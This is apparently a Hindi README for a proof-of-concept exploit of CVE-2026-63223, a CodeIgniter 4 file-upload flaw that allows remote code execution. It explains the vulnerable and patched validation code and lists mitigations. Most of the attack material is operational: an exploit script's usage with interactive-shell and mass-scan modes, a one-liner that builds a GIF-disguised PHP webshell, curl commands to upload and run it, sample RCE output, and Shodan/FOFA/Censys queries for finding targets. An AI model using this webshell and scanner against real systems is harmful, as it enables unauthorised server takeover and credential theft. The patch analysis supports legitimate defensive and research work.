
CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in फ़ाइल अपलोड RCE। मैजिक बाइट्स बायपास (getExtension बनाम getClientExtension)। CVSS 9.8 | CWE-434 | CI4 < 4.7.4
CVE-2026-63223 एक गंभीर-स्तर (CVSS 9.8) बिना-प्रमाणीकरण वाली रिमोट कोड निष्पादन भेद्यता है, जो CodeIgniter 4 — एक PHP फुल-स्टैक वेब फ्रेमवर्क — में मौजूद है और 4.7.4 से पहले के संस्करणों को प्रभावित करती है।
यह भेद्यता is_image और mime_in फ़ाइल अपलोड सत्यापन नियमों का शोषण करती है, जो क्लाइंट द्वारा आपूर्ति किए गए फ़ाइलनाम एक्सटेंशन को सत्यापित किए बिना (मैजिक बाइट्स) की जाँच करते हैं। एक हमलावर PHP कोड के साथ इमेज मैजिक बाइट्स (GIF89a, JPEG, PNG हेडर) जोड़ता है, फ़ाइल का नाम रखता है, सत्यापन पास करता है, और जब फ़ाइल किसी वेब-सुलभ PHP-निष्पादन योग्य निर्देशिका में पहुँचती है तो RCE प्राप्त करता है।
shell.phpCVSS: 9.8 क्रिटिकल —
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hखोज: 31 जुलाई, 2026 | एडवाइजरी: GHSA-mmj4-63m4-r6h5 समाधान: CodeIgniter 4 v4.7.4
| संस्करण | स्थिति |
|---|---|
| < 4.7.4 | असुरक्षित |
| 4.7.4+ | पैच किया गया |
CWE: CWE-434 — खतरनाक प्रकार वाली फ़ाइल का प्रतिबंधरहित अपलोड संदर्भ PoC: imbas007/CVE-2026-63223-POC
CodeIgniter 4 का is_image सत्यापन नियम getExtension() — जो मैजिक बाइट्स से व्युत्पन्न एक्सटेंशन लौटाता है (जैसे, gif) — को Mimes::guessTypeFromExtension() के माध्यम से मैप करता है ताकि यह निर्धारित किया जा सके कि फ़ाइल एक इमेज है या नहीं। क्लाइंट-आपूर्ति फ़ाइलनाम एक्सटेंशन (getClientExtension(), जैसे, php) की कभी जाँच नहीं की जाती:
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
// ...
$type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
// ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
if (mb_strpos($type, 'image') !== 0) {
return false; // "image/gif" → passes!
}
return true; // never checks getClientExtension() = "php"
}
getExtension() ≠ getClientExtension() — पहला मैजिक बाइट्स (gif) से व्युत्पन्न होता है, जबकि दूसरा क्लाइंट फ़ाइलनाम (php) सेis_image पास हो जाता है क्योंकि Mimes::guessTypeFromExtension("gif") image/gif लौटाता है$file->move($path, $file->getClientName()) .php एक्सटेंशन को बनाए रखता है1. Attacker generates PHP webshell with GIF89a header
→ file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
→ is_image validates: image/gif → PASS
→ File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
→ Apache passes .php to PHP-FPM → PHP executes
→ GIF89a output as plaintext, then <?php code runs
4. RCE as www-data
पैच hasInvalidImageClientExtension() जोड़ता है — जो अब क्लाइंट एक्सटेंशन की भी जाँच करता है:
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
// ↑ NOW checks getClientExtension() = "php"!
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
// ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
return mb_strpos($type, 'image') !== 0; // TRUE → REJECT!
}
मुख्य परिवर्तन: is_image अब getExtension() (सामग्री-व्युत्पन्न, वास्तविक इमेज जाँच के लिए) और getClientExtension() (क्लाइंट-आपूर्ति, .php जैसे गैर-इमेज एक्सटेंशन को अस्वीकार करने के लिए) दोनों को सत्यापित करता है।
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar
# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"
# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell
# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php
# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20
-t, --target Single target URL
-f, --file Target list, one per line
-e, --endpoint Vulnerable upload endpoint (default: /upload/avatar)
--field FIELD Upload form field name (default: avatar)
--method {gif,jpg,png} Magic bytes disguise (default: gif)
--filename NAME Shell filename (default: shell.php)
-c, --command Shell command to execute (default: id)
--shell Interactive pseudo-shell mode
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
Host : ci4-app.com
CodeIgniter 4 : YES
Upload : YES
Shell URL : http://ci4-app.com/uploads/shell.php
RCE : YES
RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar
# Execute
curl http://target/uploads/evil.php?c=id
FOFA: body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"
सफल शोषण से वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन प्राप्त होता है:
.env फ़ाइलों से डेटाबेस क्रेडेंशियल एक्सेस करेंकिसी खाते या प्रमाणीकरण की आवश्यकता नहीं है — ext_in के बिना is_image/mime_in का उपयोग करने वाले अपलोड एंडपॉइंट डिफ़ॉल्ट रूप से असुरक्षित हैं।
is_image/mime_in को ext_in सत्यापन नियम के साथ जोड़ेंreadfile() प्रॉक्सी के माध्यम से सर्व करेंgetRandomName() के साथ सर्वर-नियंत्रित फ़ाइलनाम उत्पन्न करेंकेवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध उपयोग न करें। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेते हैं।
| संसाधन | लिंक |
|---|---|
| GitHub एडवाइजरी | GHSA-mmj4-63m4-r6h5 |
| संदर्भ PoC | imbas007/CVE-2026-63223-POC |
| NVD प्रविष्टि | CVE-2026-63223 |
| CodeIgniter v4.7.4 | परिवर्तन लॉग |
| CWE-434 | प्रतिबंधरहित अपलोड |
CodeIgniter फ़ाउंडेशन से संबद्ध नहीं है।